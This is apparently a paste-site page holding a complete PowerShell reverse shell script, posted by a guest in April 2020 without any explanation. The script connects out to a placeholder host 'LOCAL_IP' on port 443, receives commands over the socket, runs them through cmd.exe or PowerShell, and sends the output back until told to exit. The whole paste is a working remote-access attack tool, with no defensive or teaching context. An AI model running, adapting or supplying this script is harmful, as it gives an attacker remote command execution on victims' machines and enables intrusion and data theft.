- $socket = new-object System.Net.Sockets.TcpClient('LOCAL_IP', 443);
- if($socket -eq $null){exit 1}
- $stream = $socket.GetStream();
- $writer = new-object System.IO.StreamWriter($stream);
- $buffer = new-object System.Byte[] 1024;
- $encoding = new-object System.Text.AsciiEncoding;
- do
- {
- $writer.Flush();
- $read = $null;
- $res = ""
- while($stream.DataAvailable -or $read -eq $null) {
- $read = $stream.Read($buffer, 0, 1024)
- }
- $out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
- if(!$out.equals("exit")){
- $args = "";
- if($out.IndexOf(' ') -gt -1){
- $args = $out.substring($out.IndexOf(' ')+1);
- $out = $out.substring(0,$out.IndexOf(' '));
- if($args.split(' ').length -gt 1){
- $pinfo = New-Object System.Diagnostics.ProcessStartInfo
- $pinfo.FileName = "cmd.exe"
- $pinfo.RedirectStandardError = $true
- $pinfo.RedirectStandardOutput = $true
- $pinfo.UseShellExecute = $false
- $pinfo.Arguments = "/c $out $args"
- $p = New-Object System.Diagnostics.Process
- $p.StartInfo = $pinfo
- $p.Start() | Out-Null
- $p.WaitForExit()
- $stdout = $p.StandardOutput.ReadToEnd()
- $stderr = $p.StandardError.ReadToEnd()
- if ($p.ExitCode -ne 0) {
- $res = $stderr
- } else {
- $res = $stdout
- }
- }
- else{
- $res = (&"$out" "$args") | out-string;
- }
- }
- else{
- $res = (&"$out") | out-string;
- }
- if($res -ne $null){
- $writer.WriteLine($res)
- }
- }
- }While (!$out.equals("exit"))
- $writer.close();
- $socket.close();
- $stream.Dispose();
Undefined
By: Guest | Date: Apr 17 2020 16:43 | Format: None | Expires: never | Size: 1.73 KB | Hits: 569
Latest pastes
2 days ago
2 days ago
2 days ago
2 days ago
2 days ago